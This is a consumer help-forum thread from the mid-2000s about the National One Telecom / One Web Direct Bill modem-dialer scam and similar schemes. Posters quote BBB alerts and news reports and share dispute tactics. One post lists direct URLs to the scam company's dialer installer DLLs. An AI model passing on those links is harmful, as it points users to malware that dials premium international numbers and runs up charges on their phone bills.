The bills also are confusing because, although National One Telecom states that the charges are for an entertainment fee, the bills list Current Charges as LD Calls made to  and show part of a phone number in the United Kingdom.

An insert with the bills states:

*National One Telecom, Inc., bills for a variety of Web sites which include sports information, games, music, chat, and others*.

The cost for accessing the proprietary Web site is a total of *$5.99 per minute, where $4.00 per minute is an entertainment fee billed directly to you by National One Telecom, Inc., and the remaining $1.99 per minute is billed to your local phone bill for international long distance*.

One man from The Colony, TX, describes his experience: My personal computer encountered a pop-up ad constantly, which I kept canceling out of. After several cancellations my computer began to be unresponsive  The next week I received an invoice from National One Telecom for a few calls charging an entertainment fee for access to pay-per-view Web sites My phone bill came reflecting the same calls to the United Kingdom 

*The company answers each complaint with a form letter contesting the charges, stating that  a one-time courtesy credit was issued and a block placed on phone number  disallowing any future calls*.

*National One Telecom has an unsatisfactory record with the BBBs in Dallas and in Concord, NH, due to the pattern of complaints. Although the company resolves the complaints, it has failed to correct the underlying reason for the complaints*.

*The company has informed the BBB that they do not handle disputes over the phone and will ignore disputes left on their voice mail, reports the BBB in Concord, NH. The company plans to set up a customer service line in the near future, but will still not handle disputes over the phone*.

The Better Business Bureau will continue to process complaints to National One Telecom by mail.

*Consumers may also report complaints about bills from National One Telecom to the Federal Trade Commission. Visit www.ftc.gov, or call toll-free 877-382-4357*.

A similar third-party billing service that was the subject of similar complaints has been the subject of legal action. In May, 2003, the Federal Trade Commission and the Texas Attorney Generals office filed suit on Alyon Technologies, Norcross, GA, a billing service for adult-content Web sites. The Texas lawsuit alleged that Alyon uses numerous pop-up ads that trigger unrequested downloads of the companys dialer program into consumers computers without their knowledge  The dialer forces computers to connect to a New Jersey number operated by Alyon which charges a rate of $4.99 and additional long distance fees  many victims never realize something is wrong with their computers until they receive the unexpected bills. However, some consumers report that their computers will display these adult sites without any prompting on their part.

On July 10, 2003, Alyon signed an Order with the Federal Trade Commission, agreeing to make changes in its notice and billing procedures, and agreeing to pay restitution to consumers who filed complaints within 90 days of the Order.


----------



## Spectrex

angelize56 said:


> Here you go!
> 
> *The company has informed the BBB that they do not handle disputes over the phone and will ignore disputes left on their voice mail, reports the BBB in Concord, NH. The company plans to set up a customer service line in the near future, but will still not handle disputes over the phone*.
> 
> er.


Of course they don't answer their phone. Their parents probably won't let them use it for the "business". 

Thanks for the news. National One is surely beginning it's final days.

Anyone seen the National One geek lurking lately?

Hey MemphisMark You still there?


----------



## ~Candy~

NationalOne
Junior Member 
Last Activity: 24-Jul-2004 05:12 PM 
Offline


----------



## angelize56

Must be on vacation in a foreign country....or maybe visiting the UK!


----------



## enraged2

Thank you angelize56 for the updated info. It will help if I go ahead with a lawsuit against these barbarians of technology.


----------



## Spectrex

This is strange..... no posts lately. Are the thugs whacking everyone off one at a time. MemphisMark must be locked away in a dark warehouse somewhere.

Has ANYONE made any progress on this matter?


----------



## QLeaping

Hey gang,

I got my local phone bill from Qwest yesterday and low and behold was my credit from USBI. Get this - I was billed from Tellis and another phone company (forgot the name now) for a total of 94 dollars and some cents. I received a credit on my phone bill from USBI for 115 dollars and some cents. I have no idea why they credited me for more than they billed me. But since I invested a lot of time and trouble over this, I am not complaining and nor am I going to bring it to their attention. It brought my phone local phone bill to a negative balance. Cool huh?  Of course I threatened the Tellis person with using my John Ashcroft connection. That might have helped!!!!!  

Also, yesterday I noticed when my computer was on at home and I was not on-line that my modem was dialing and dialing. I have no idea what that was about. I ran Spy Sweeper and it didn't detect anything and I had removed that dialer already. I have put the International blocker on my phone which cost me $17.00 - a one time fee from Qwest. So maybe it was trying to dial out to the UK and it couldn't. I'm not sure.  We are getting ready to switch to the DSL and get rid of dial-up. This whole thing has been one big pain in the butt. But so far I have not had to pay the jokers one penny and I do not intend to either. So everyone keep fighting the good fight - we will prevail! :up: 

Where's MemphisMark? I miss him!!

QLeaping


----------



## ~Candy~

You might post a hijack this log in security...........


----------



## Spectrex

Anyone still here? Hellooo Helloooo Hellooooo


----------



## ~Candy~

Just no new victims lately it would seem


----------



## BooBerry

Thanks for this forum and thread. I just read the 1st 10 pages and the last two. A friend rec'd a bill from NOT back in June - he mentioned it a few times, and I unfortunately recommended he go on their website to find out what the charges were for (so I'm probably going to have to help him remove a dialer). Yesterday he brought over the 2nd notice bill ($36 + 4.95 late fee) dated 30 June. He has not paid them but he's worried about it. I don't know if he has rec'd anything more recently from them, or if he had a charge on his regular phone bill - I'm going to talk to him about it this evening. I'm wondering, from the way posts to this thread have become fewer - is this possibly all over with?


----------



## ~Candy~

I doubt it..............

It's good to be number one on the google search though


----------



## ~Candy~

Updated August 6, angelize posted from August 4 above 

National One Telecom Calling Up Complaints

Dallas, TX, August 6, 2004 -- Complaints are pouring in to the Better Business Bureau of Metropolitan Dallas from consumers across the country about bills for Web site access from National One Telecom, Inc. Consumers insist that they have not accessed such sites, and weren't given any notice about charges for visiting sites.

Complaints say the bills range from about $20 to about $150 for "an entertainment fee for access to pay-per-view Web sites," but the sites aren't named on the bills.

The company uses post office box addresses in Dallas, and in Bedford, NH. Since February, 2004, when the BBB in Dallas began receiving complaints on National One Telecom, the Bureau has handled 63 complaints on the company, and another 78 complaints are in process. The BBB in Concord, NH, also has been receiving complaints on the company.

Although National One Telecom answers each complaint with a "one-time courtesy credit" and a block to prevent future access from the customer's number, the complaints keep coming. The company has an unsatisfactory record with the BBBs in Dallas and in Concord, NH, due to the pattern of complaints. Although the company answers complaints, it has failed to correct the underlying reason for the complaints.

Inserts with the bills state:

National One Telecom, Inc., bills for a variety of Web sites which include sports information, games, music, chat, and others.

The cost for accessing the proprietary Web site is a total of $5.99 per minute, where $4.00 per minute is an entertainment fee billed directly to you by National One Telecom, Inc., and the remaining $1.99 per minute is billed to your local phone bill for international long distance.

One man from The Colony, TX, described his experience: "My personal computer encountered a pop-up ad constantly, which I kept canceling out of. After several cancellations my computer began to be unresponsive  The next week I received an invoice from National One Telecom for a few calls charging an entertainment fee for access to pay-per-view Web sites My phone bill came reflecting the same calls to the United Kingdom "

He contacted his phone company and the disputed charges were credited, but he had difficulties contacting National One Telecom. There was no phone number on the bill, so he emailed the company, but "received one email reply to my concerns and then all my questions went ignored."

The BBB in Concord, NH, notes: "The company has informed the BBB that they do not handle disputes over the phone and will ignore disputes left on their voice mail. The company plans to set up a customer service line in the near future, but will still not handle disputes over the phone."

Last year, the Texas Attorney General's office filed suit on a similar billing service, Alyon Technologies, Norcross, GA. The lawsuit alleged that the company used pop-up ads that triggered unrequested downloads of a dialer program, forcing consumers' computers to connect to a New Jersey number at a rate of $4.99 and additional long distance fees. "Many victims never realize something is wrong with their computers until they receive the unexpected bills," said the Texas Attorney General's office.

In addition, Alyon Technologies signed an Order in April, 2003, with the Federal Trade Commission (FTC). The company agreed to make changes in its notice and billing procedures, and agreed to pay restitution to consumers who filed complaints within 90 days of the Order.

The Better Business Bureau and the FTC offer these suggestions for Internet users to guard against unwanted dialer programs and unauthorized charges:

Be skeptical when you see opportunities to view "free" content on the Web. Free doesn't always mean free.

Clicking "OK" isn't always okay. Don't click OK unless you know exactly what you're agreeing to. Read online disclosures carefully. They may be buried several clicks away in pages of small print.

Beware of any program that enables your modem to re-dial to the Internet. If you see a dialog box on your computer indicating that it's dialing when you didn't direct it to, cancel the connection and hang up. Check the number you're dialing and continue only if it's a number that you want to use. 
The Better Business Bureau will continue to mail complaints to National One Telecom. Contact the BBB in Dallas at www.dallas.bbb.org, or call 214-220-2000 or in surrounding areas 1-800-705-3994.

Complaints on National One Telecom also may be reported to the Federal Trade Commission. Visit www.ftc.gov, or call toll-free 877-382-4357.

http://www.dallas.bbb.org/news_20040804.html


----------



## QLeaping

Hey Gang,

Been really busy with my life lately. I don't have much time to deal with the National One Idiots!!! 

BooBerry - Did your friend file a dispute? I really believe that if you mail the dispute to the P. O. Box in NH and you send it Certified or Delivery Confirmation, then you stand a really good chance of having it taken care of. It also helps to have filed complaints with all the agencies that we have been talking about. Also be sure to tell them that you did file the complaints. I sent my dispute Delivery Confirmation so I know exactly when it was picked up in their P.O. Box. It costs more, but then they are forced to have to respond to you in writing and not by e-mailing. I've never heard from them and now I am well past the time that legally they have to respond before I am not obligated to pay. I never received the second bill and my calls to UK were fully refunded on my phone bill.  I really don't think that they are writing people back and wasting money on postage. Don't talk to them via e-mail it is too easy for them to give the generic "you need to pay" response. 

Keep fighting and tell your friend not to pay and to complain to the government agencies so they will get looked into. 

I believe these folks are going to get a full investigation in the very near future.  Look out Candy - they'll be coming your way!!

QLeaping


----------



## ~Candy~

Oh, no.......what about Canada


----------



## fuzion

They've changed their site!

nationalone.com no longer tries to install their "Customer service" (it's actually the dialer, you can see the page source in my previous posts) plugin.. now it just shows a site, but still has references to the dialer 

http://www.nationalone.com/images/realDialerLogo.gif - which shows nothing at all when you goto it...

I tried to goto their site using Firefox.. result:

"This site is viewable with Internet Explorer and IE 4.0+ compatible browsers. The Internet Explorer browser is included with all Microsoft Windows operating systems. Please, refer to Windows Help for further information about running the application."

.. Perhaps there is still something on there? If it's just a regular website why do they require insecure explorer.. I mean internet explorer. (maybe the dialer is hidden elsewhere..)

They changed the front page but the dialer installation software is still stored on their site..

http://nationalone.com/bin/DialInstaller3.dll
http://nationalone.com/bin/NationalOneCtl.dll


----------



## QLeaping

What snakes in the grass!!!!!

I'm sure the dialer is still there - it just looks like it's not. That way they hope to snag more unsuspecting victims. A lot of people are leary of the plug-in so they don't download it, but a lot of folks won't think twice about opening with Explorer. 

I work at a military installation and I would love to try it from here and see what happens as we have a seriously secure firewall here. But I don't want a visit from "Big Brother" for downloading something that I shouldn't have. 

The whole thing is very interesting!!! Keep up the fight!!!

QLeaping


----------



## Simes

Utterly fascinating thread.

Good luck to you guys in the States.


----------



## enraged2

Hello everyone. My telephone company sent me a shut-off notice last week. So I called Valor Telecom and stated again that I was not Paying the bill for USBI and that the calls were pirated through my computer without my knowledge or permission and that the bill was in dispute now some 50 days (so much for resolution of all disputes in 40 days). They said that they (Valor) would send the bill back to USBI who then would have to bill me direct.
I asked Valor why they didn't do that the first time I called. They didn't know.
Back then I called USBI informing them I owed nothing and would pay nothing, to which they responded that they could not remove the bill from my normal phone bill until the received resolution from NOT. I guess I need to call the FTC, State's Attorney General and Better Business Bureaus again. Just what I need, all this hastle when I have been so very sick. Oh well, on to recovery, renewed strength and vengence. Good luck everyone.
enraged2


----------



## llsee

So, I guess the bottom line to this thread is: Run Ad-Aware on a regular basis and keep your firewall active. Zonealarm will tell you when a new process attempts to access the Internet.


----------



## Maggz

llsee said:


> So, I guess the bottom line to this thread is: Run Ad-Aware on a regular basis and keep your firewall active. Zonealarm will tell you when a new process attempts to access the Internet.


And of course not to trust rogue antispyware programs!


----------



## Jammalamma

I went through SEVERAL pages of this forum (I too got hit by these people - I am refusing to pay) I could not get through all the pages - 21 so far!

When I asked National One to inform me of the exact PAGE that I allegedly went to and ACCEPTED ( I was not home the day of the "phone call") - they sent me to a page for a company called Candid Publishing (the people who National One supposedly bills for) - which is a "Third Party" that N.O.T. bills FOR.
Upon more investigation, I found that Candid Publilshing is owned by Michael Walczak - ONE OF THE OWNERS of National One Telecom!

Hmmm... very interesting.....

Sorry if this info has been posted before... just thought y'all might like to know.

Q; How can one company be a "third-party" billing company for another company owned BY THEMSELVES??!!!!

This is SHADY ast Best!

Rock on folks!

Power to the peeps!


----------



## SideOrder

In August 2004 I received a bill from a company called "One Web Direct Bill" for 2 calls to the phone number +44 870 119 01 for a total charge of $40 USD. The billing address for this company is PO Box 612608 - Dallas, TX 75261-2608.

I sent a letter to One Web Direct Bill at PO Box 10428 - Bedford, NH 03110 (the contact address) via Certified Mail with Return Receipt requested explaining that the charges were wrong because the originating phone number is not my phone number (not even the correct area code). I have had my current phone number for a year and a half. 

Michael Walczack signed for this letter on August 30, 2004. 

In September 2004 I received another bill from this company for another 2 calls to the phone number +44 207 335 84 for a further charge of $105 USD. This bill was invoiced on August 30, 2004. I will send another letter to One Web Direct Bill explaining that these charges are also wrong for the same reason.

Perhaps this company will quit wasting my time. I could also explain to them that I access the Internet via DSL and do not have a phone line connected to any modem that might be installed in my computer. I could also explain to them that no one was in my house except my cats during the time of some of the calls.

I have not sent any money to this company, nor will I.

Anyway, you can add this post to the many tales of woe that have come before me and will certainly continue until someone in authority puts this guy out of business.


----------



## ~Candy~

Another DBA????


----------



## Jammalamma

Yes - Candid Publishing Inc....owned by Michael Whazzizname....same guy...saying he's billing for...SAME GUY....

as Monty Python says...
"Scam, scam scam scam..."

Or was that "Spam??..." hahah

Anyway - any idea is these guys (or anyone ELSE) can dial up if I've got a DSL line?! I thought not....

I am a computer tech...and I have asked other compy techs...they all seem to have the same consensus: that a dialer CAN'T do this with DSL

- anyone know definitively?


----------



## kiwiguy

Correct.
DSL does not dial up, can not dial up.

BUT

Many DSL users still have a modem fitted in their PC and have the phone line connected to the modem (as well as to the DSL router). Don't ask me why, but when they changed to DSL they were probably never told that its not required.


----------



## ~Candy~

For the record, my 'test' a few pages back is still clear of phone bills. I have a telephone line plugged in, but I do not have a dial up networking connection set up.


----------



## QLeaping

Candy - welcome back - missed you!

Correct me if I'm wrong, but didn't we have a post about Candid Publishing having something to do with the Plug-in? Sounds like they just again changed their DBA and are still at it. Anyone just joining in on this - please do what we have been saying. Report them to all the agencies including the FBI. Be sure in your dispute letters you tell them that you have reported them. That seems to be the thing that scares them into giving the credits. 

Whatever happened with Memphis Mark's reporting to the media? Something has to be done about these people!!!! I have seriously had it with them. I have never received a second bill and my phone bill was credited. But I am just mad enough to call in my huge connection to John Ashcroft of the Justice Department and see about these fools!!!!  If you are reading this National One or whatever the heck you are calling yourselves these days - you can run, but you can not hide!!!!!  

Keep up the fight people - tell your loved one to beware of these criminals - report them to all the agencies. Enough hits will send red flags!!!!!!!

QLeaping


----------



## ~Candy~

First I heard of Candid, I believe, was just a few posts ago.........

We'll have to wait for more ripped off people to update us.


----------



## QLeaping

Candy,

I just went back throught the posts. Check out posts #230 and #231 from Spectrex. He was the one who discoved the Candid Publishing connection.

I thought it was familiar. Anyway - the scam just never ends!!!!

I'd love to know if a story will air on it soon. It seems like there are a lot of scams being reported on lately. 

Keep up the fight people!!!

QLeaping


----------



## ~Candy~

Thanks. Guess the thread is getting to long to remember


----------



## craigeb78

Hello all,
My father in law is one that's affected by the One Web Direct Bill version of this company. After doing a lot of searches and whois' I found the National Telecom name, which eventually brought me hear.

There are a whole new slew of incidences now with the DBA One Web Direct Bill.

I've setup my own forum ( before I new about this one ) to help people and try to track the issue. The forum dedicated to this is:

http://www.brokenimage.com/oneweb/

If you'd like to post at that forum, that would be great since it's dedicated to this issue.

-Craig


----------



## ~Candy~

Thank you for cross referencing us  All the better to keep this problem at the top of the google search


----------



## Spectrex

Here's a good sign.... maybe. I tried emailing the NOT idiots and the mail came back as "undeliverable". So, don't waste your time trying that route. Their ISP probably cut them off due to the massive amounts of hatemail they must have been getting.

Score one for the consumers!


----------



## Ben91

My Wife recieved a bill from the One Web Direct version of this POS company. I am currently working on getting this off. Ours is one of the obvious scams where our phone number is owned by someone else in another city, and it's a number we've never had. This is now up on the dallas BBB alerts page. http://www.dallas.bbb.org/news_20040804.html

And here is what the Dallas and Concord BBB have listed now.
Concord: http://www.bbbnh.org/commonreport.html?compid=92005198
Dallas: http://www.dallas.bbb.org/commonreport.html?compid=90010840

I hope these guys get shut down for good.


----------



## angrynudist

I got my phone bill today and they charged me $224.25!! What the F is this??????

I'm so MAD! I tried calling my phone company, SBC, but they told me if I don't pay this bill that my phone will get disconnected!! They can't do this to me, I'm a navy seal! Huuuuraaahhhhhh!! 

_______________________________________

A Nude Dude. 
I'm not only a Nudist, but a Buddhist


----------



## Flrman1

I think posting this one time was enough angrynudist! We didn't anything to you.


----------



## Flrman1

Allright that's enough angrynudist! I told you once was enough for that post now DO NOT post it again. Flooding the forum with posts is against the rules!


----------



## angrynudist

I'm sorry about the mess. I've just been seeing red because I feel like they shoved an oak tree up my ***.  

_______________________________________

A Nude Dude. 
I'm not only a Nudist, but a Buddhist


----------



## ~Candy~

Ask for a supervisor at SBC. First level people can't tell you anything else but to pay the bill.


----------



## angrynudist

Thanks Acacandy, I will give that a shot and post back my results on what SBC says. They better not make me pissed, or I'll be nude AND rude!  

_______________________________________

A Nude Dude. 
I'm not only a Nudist, but a Buddhist


----------



## hankhill_

I've read like all of these post, and I completely feel for all of you people. Press on and fight! 

Make sure to do regular Spyware scans too! Might save you hundreds! 

Good luck! :up:


----------



## angrynudist

How do I "scan" for spyware? Do I need to buya firewall or something to do that?

_______________________________________

A Nude Dude. 
I'm not only a Nudist, but a Buddhist


----------



## hankhill_

hi angry nudist, doing a scan of spyware just requires AdAware, or Spybot - Search and Destroy, both free programs...
AdAware: http://www.lavasoft.de/support/download/
Spybot: http://www.safer-networking.org/en/download/index.html

make sure to do regular updates 'n' such, as well spyware checks!


----------



## Spectrex

Any updates on these dweebs?

What happened to Memphis Mark? I'm starting to wonder if he was who he said he was.


----------



## Spectrex

Hey! What happened to this thread? I guess NOT must be out of business or something, if no one is getting ripped off anymore.

Did Memphis Mark get kidnapped and sent to Mexico or something?


----------



## ~Candy~

He hasn't appeared on my doorstep yet


----------



## Infidel_Kastro

I know that its not National One, but I did a TSG search for Alyon, and this is the only thread that showed up. I had read this thread in the past, so I hope this helps. 

*Company Slapped by Feds for Porn Billing*

their software downloaded itself onto computers and dialed up web sites

--Associated Press

WWW- An Internet company whose software downloaded itself onto computers and dialed up pornographic Web sites while billing $4.99 per minute will forgive at least $17 million in customers' bills as part of a settlement with the government.

An additional $22 million in bills from Alyon Technologies incurred by customers prior to June 15, 2003, are subject to dismissal if customers dispute them. In exchange, the Federal Trade Commission will stop its investigation of the New Jersey company, which must obtain verifiable consent from customers before billing, let them know of their right to dispute charges and stop downloading programs or spyware to their machines.


----------



## ~Candy~

Why would I be willing to bet they may be the same company?

Thanks for the great article. Hopefully all of these scum companies will be ran out of business.

http://www.wvs.state.wv.us/wvag/press/2003/july/29.htm


----------



## ~Candy~

http://www.alyon.net/
http://www.alyon.net/privacy.php

http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=109&STORY=/www/story/04-27-2004/0002160629&EDATE

http://caag.state.ca.us/newsalerts/2003/03-057.htm

IK, here's a longer story of what you posted:

http://www.ftc.gov/opa/2004/12/alyonsettlement.htm


----------



## ~Candy~

Former OC mayor left holding the bag in 'modem hijacking' scheme
By PATRICK HERNAN

Verizon has refused to forgive $1,200 in charges billed to Malachy McMahon's home number as part of the scheme.

Former Oil City Mayor Malachy McMahon says he's been caught up in a scheme in which the modem on his personal computer was seized without his knowledge and programmed to make expensive long-distance calls to the South Pacific and elsewhere.

"There were nine calls to Pomona, Calif. - three in the same minute to the same number," McMahon said.

Other calls were routed to Tuvalu, a small island nation in the Australia Pacific region.

Verizon Communications has refused to forgive $1,200 in charges billed to his home number as part of the scheme, citing corporate policy, McMahon said.

For its part, Verizon said Tuesday it is investigating McMahon's complaint. The firm did not promise to eliminate the charges.

"We'll look at his particular situation, gather all the facts on it and make a determination on how to handle the charges from there," said Lee Gierczynski, a Verizon spokesman.

In an Aug. 30 warning to consumers, however, the company said "the customer is responsible" for paying charges that result from cases of "modem hijacking."

Verizon said such hijackings occur when "pop-up" advertisements appear on the screens of Web-surfers. If a user clicks on an ad, a series of questions appears "asking the user to choose a 'yes,' 'I agree,' or a similarly phrased button to agree to the terms and conditions of the ad."

If the customer provides an affirmative response, Verizon said, a software download begins. The software later prompts the computer to dial international phone numbers without the customer knowing it.

Customers bear the responsibility for reading the disclosures, terms and conditions in online ads before permitting software downloads, Verizon said.

"If you have any doubt, do not agree to the download," said John Broten, president of Verizon Long Distance, in a news release. "If you (agree to the download), you are essentially allowing someone unknown to you to use your computer. This may generate significant long-distance charges that you will be responsible for paying."

McMahon said he had no intention of paying for charges he didn't authorize, noting he already had been turned over to collections.

"For a corporation to condone and profit from this is beyond me, in the case of Verizon," McMahon said. "It's illegal activity. They're after phone usage. It's big-time money when they go overseas."

Barry Creany, senior deputy in Attorney General Jerry Pappert's Ebensburg regional office, said the state has heard complaints about modem hijackings and calls being routed through Tuvalu.

"It creates a revenue stream for Third World countries," Creany said. "The phone companies have been defending against it," citing international treaties and tariffs.

"For the most part, people don't recognize any connection to these calls," Creany said. "It might have been a minor in the home. Some people might have clicked to 'X' a box out (online) and didn't realize (a program) was running behind them."

Creany said two legal issues are in play in cases of modem hijacking. "Consumers should have first given the authority to be billed," he said. "Certainly, a minor can't do it."

"Second, consumers should have some means to dispute," he said. "Those rights exist."

People caught up in a modem-hijacking scheme may contact the attorney general's office at 1-800-441-2551 to file a complaint. The Office of Consumer Advocate also can field complaints. It can be reached at 717-783-5048.

McMahon said his problems don't end with Verizon. Another company, National One Telecom, claims he owes $76 for calls.

The Better Business Bureau of Metropolitan Dallas said complaints against National One are pouring in from consumers across the country. The company uses post office boxes in Dallas and Bedford, N.H., as addresses.

Customers have been receiving bills ranging from $20 to $150 for "an entertainment fee to access pay-per-view Web sites," but the sites aren't named on the bills, the BBB said.

Bill inserts state that National One "bills for a variety of Web sites which include sports information, games, music, chat and others," the BBB said.

Costs are assessed for accessing a Web site at a rate of $5.99 per minute. Of that, $4 per minute is billed directly by National One, and $1.99 per minute is billed to the consumer's local phone bill for international long distance.

McMahon said National One forced him to e-mail the firm to address his complaint - a tactic the BBB said the company employed routinely.

National One admitted it does not handle disputes over the phone "and will ignore disputes left on their voice mail," the BBB said.

McMahon's dispute with National One remains unresolved after months. "After six weeks, I'm turned over to a collection agency," he said. "I'll tell you what I told them: My next call is to my congressman."

Frustrated, McMahon called a number of elected federal and state officials. He also contacted the Federal Trade Commission and Federal Communications Commission.

At the same time, he continued to contact Verizon, even calling the office of Verizon Chief Executive Officer Ivan Seidenberg.

Seidenberg's assistant called him back, but McMahon said he still has gotten no satisfaction.

"This is unbelievable," he said.

As a final means of making sure his voice gets heard, McMahon said he contacted the CBS news program "60 Minutes." He hasn't heard back.

The office of state Sen. Mary Jo White said Tuesday it was doing what it could do to help.

"In this world of technology, it doesn't take long for someone to (mess with) things," said Robin Lutz, Sen. White's legislative executive assistant.

Telephone scams even have invaded the Senate, Lutz said, noting someone once accessed a Senate-owned answering machine and found a way to run up a bill in the thousands of dollars.

"We were all told to change the security codes on our answering machines," Lutz said.

McMahon said he would continue to press Verizon and National One to eliminate the charges.

"It's like a big Zintron-type scheme," he said, referring to the notorious Pittsburgh-based home-improvement company that picked the pockets of local customers.

But Verizon's Gierczynski said modem hijacking, while "an industry-wide problem, is not really a telephone-company issue per se. It's really an Internet issue."

http://www.thederrick.com/stories/10122004-3004.shtml


----------



## Infidel_Kastro

*
Company Fraudulently Billed for Online Porn*
*
Alyon Technologies  Inc. agrees to cough up refunds*

--Associated Press

TRENTON, N.J. -- A New Jersey company that allegedly scammed thousands of Internet users, fraudulently billing them for online pornography services they didn't ask for, has agreed to make restitution and change the way it does business online, authorities said Thursday.

Alyon Technologies Inc. of Secaucus has entered into a consent agreement with New Jersey and 22 other states in which it agreed to refunds for anyone who paid bills but submitted complaints about them prior to June 2003. Those who refused to pay will have their debts forgiven, according to New Jersey Attorney General Peter Harvey.

In addition, the company agreed to implement a verification system for future online transactions in which it informs users they are about to employ an Alyon service.

The company, which also agreed not to bill minors for its services, must give "clear and conspicuous" information about terms and conditions, including information on charges and on how to contact Alyon.

The state has received more than 700 consumer complaints from around the nation from Internet users who complained that they were billed an average of $150 for online pornography they never requested or accessed.

In some of the cases, pop-up windows containing pornographic images appeared on Web sites being used by children, Harvey said.

"This is an important settlement agreement for all New Jersey consumers, not only for the hundreds of Internet users who were directly impacted and complained but for countless others who use the Internet every day or might elect to do so," said Harvey.

In 2003, the state of New Jersey filed a three-count complaint accusing Alyon of switching Internet users to its network so it could bill them for services, even when the users hadn't requested the service.

The Federal Trade Commission, which also fielded complaints against Alyon, estimates that more than 200,000 consumers were affected. Under a separate agreement with the federal government, Alyon agreed to forgive $17 million in bills.

According to the FTC, Alyon charged consumers $4.99 a minute for dial-up Internet connections to adult Web sites.

Customers would see a pop-up for the site, hit a button to agree to terms or close the window and Alyon would then download a program onto the user's computer that disconnected them before dialing a new provider and charging them for it, the FTC said.

Alyon officials could not be reached for comment on the settlement Thursday. Telephone messages left separately for attorneys Lawrence I. Fox and Jennifer Kolen were not immediately returned.

Harvey warned consumers to beware of Internet come-ons.

"Internet businesses certainly have a duty to act responsibly and within the law, but consumers also need to protect themselves by being extra vigilant about what they are `clicking on' when surfing the Web, and about sharing credit card and other personal data," said Harvey.


----------



## ~Candy~

Thanks IK


----------



## Spectrex

About Alyon.... I just found some links on their site showing that the FTC apologized to them for filing a claim against them. Who is right? The FTC or Aylon??? Of course, the link I found was on Alyon's site. I sent them an email showing them the other news articles they neglected to post stating that they were told to reimburse the people they ripped off.

What about Memphis Mark???? He seems to have dissappeared. Maybe he wasn't for real.

Follow this link to the latest about NOT in this Jan 16, 2005 news article. It looks like I was correct in my earlier assumptions. Just a couple kids using their parents address to rip people off! Looks like they're screwed now! 

http://newhampshire.com/articles/showularticle.cfm?id=49198


----------



## ~Candy~

OMG 

That is simply amazing. I hope everyone gets their money back.


----------



## Spectrex

*Here's some more info about Michael Walczak:*

http://badbusinessbureau.com/reports/ripoff125338.htm

http://ripoffreport.com/reports/ripoff126301.htm

http://www.dallas.bbb.org/news_20041210.html

http://faculty.dwc.edu/nicosia/mental_health_awareness_committee2003.htm

http://www.geekvillage.com/forums/showthread.php?threadid=4963

*And this link, which has a lot of detailed info about these crooks...*

http://www.ripoffreport.com/reports/ripoff108337.htm

*And yet another! Similator to the previous link, but has more info:*
http://badbusinessbureau.com/reports/ripoff125407.htm

I knew that if enough people made enough noise, something would be done to stop these jerks. :up:


----------



## ~Candy~

One way to fix rip offs like that.....don't have a modem  

I was working on one system with a dialer, and it kept crying about not being able to find the modem.....aweeeeeeeeeeeeeeeee


----------



## Spectrex

AcaCandy said:


> One way to fix rip offs like that.....don't have a modem
> 
> I was working on one system with a dialer, and it kept crying about not being able to find the modem.....aweeeeeeeeeeeeeeeee


I agree Candy! I have one system with a modem, but it's rarely hooked up. use DSL or Amateur Radio packet mode for all my contacts.

By the way... Happy New Year! I'll bet it's warmer there than it is here in the far northeast corner of NY State.... 11 deg F. at 3pm, with a predicted low of minus 18 tonight and a high of 1 (spell that ONE) above zero tomorrow. I can't wait till summer!!!!! At least the winter gives me a couple months to paint/clean/repair the bike. 

GO STEELERS! (OK, so I'm a die-hard Bills fan, but when they don't make it, I usually back the AFC in the Superbowl)


----------



## ~Candy~

Lol, looks like PA may have the champ, one way or another 

In Vegas now, it was pretty dang cold here too the other day, about 39 

Today was better


----------



## Byteman

Hi, Here's one, now appearing on my phone bill (I have used cable service for over a year!) I have signed up for voicemail PrivaSafe according to the phone bill- I'm heading for the phone company office shortly to bring this to their attention....note that some of the posts in the RipOff report are from this past week, so this may be fairly new in my area (NY)

http://www.ripoffreport.com/reports/ripoff86534.htm

http://www.ripoffreport.com/reports/ripoff125771.htm

http://www.badbusinessbureau.com/reports/ripoff127509.htm

http://www.scambusters.org/phone-number-scams.html


----------



## ~Candy~

Wow, Byteman, keep us posted  Maybe we need to change the thread title so we can get high on the Google search engine for this company scam too


----------



## southernlady

Candy, you should at least sticky this thread. Liz


----------



## Byteman

Hi Here is what I now know about OAN Services...they provide billing when someone signs up for PrivaSafe. Your local phone bill is charged $14.95 a month for the service. Someone, anyone actually, knowing your phone number can sign you up- in this case it was my son using a hotmail email address and user name, who used my phone number to "pay" for it! He was looking for freebies...their enticements include 5 MB of storage, 4 email accounts, online user track removing, and....get this...protection against unsrupulous marketers....hah! ( I was wondering where all the sudden telemarketer calls were coming from- I have since re-registered at the National do not call Registry as "something" happened to let calls come through from these people!) 
Here is a link to that helpful Registry in case you need it:
https://www.donotcall.gov/register/Reg.aspx

Privasafe:

The fine print is there but you really have to get a highpower magnifying lens to see it. They also advertise a free DVD player, but you have to remain a customer for 90 days, so I dont think they are giving away too many of those... 

I went to the phone company who advised calling 1-800-944-9646, I did so, and after several recorded messages and jumping hoops with buttons to press, got a live young lady who took my inquiry and gave me the email addy and name that was used to attach the charges to our bill. I asked to remove the service and fee and was told that would reflect in my next phone bills..we will see.

Parents- roommates- anyone> if you see this on your phone bill take care of it if you do not use, did not authorize or do not want this service...

They also advertise that they can give you a free $100 package of software---

"""Software Downloads . As part of the Privasafe Services, Privasafe may from time to time download software owned by Privasafe or third parties to your computer. Your use of the Privasafe Services constitutes your consent to such downloads."""

 I bet! ....one part of their package...cleans up spyware on your pc! Yeah... be warned not to do that,- though I have not looked into just which program they will "give" you, it's a fair bet that you do not want it running!
"The kid" ALSO put another charge on our phone bill>
Unknown caller block, for $3.00/month, so no one hiding from caller ID etc or private numbers can call...geez he's on my side for something at least!  
I wil wait and see what they do about the $30 in fees on our phone bill. In the posts around I looked at, no one had gotten any back yet


----------



## ~Candy~

Question, is the kid still alive


----------



## Byteman

Hi- Well, he's kicking, so he must be! (kicking himself for being a newbie- I think) I hope it finally proved my point to him about what not to do online. We have had quite a battle with him, he is 22 and should know better,but unless it comes back and bites him the response is "Chill out, Dad...I know what I'm doing"  
I know "boys will be boys" I just keep hoping for that change that is supposed to take place...  
It's hard to treat a 22 year old like a kid and kind of sad when they have to learn the hard way. Maturity when it arrives will be welcomed heartily..if I survive till!


----------



## adarba

im having the same trouble, my phone bill came up with a call that i never mande to the united kingdom i suppose becuase it shows up as UNTD KINGD, XX. i dunno who to call because i dont wat company or whoever is responsible for that. im beginning to think that some worm in my computer must have the call becuase my uncle was once trying to call home and he said the phone was busy, his wife saw the blinking light that comes on everytime someone is on the phone but it was nobody, the computer had gottem online by itself, so we suspect that the computer made the call.
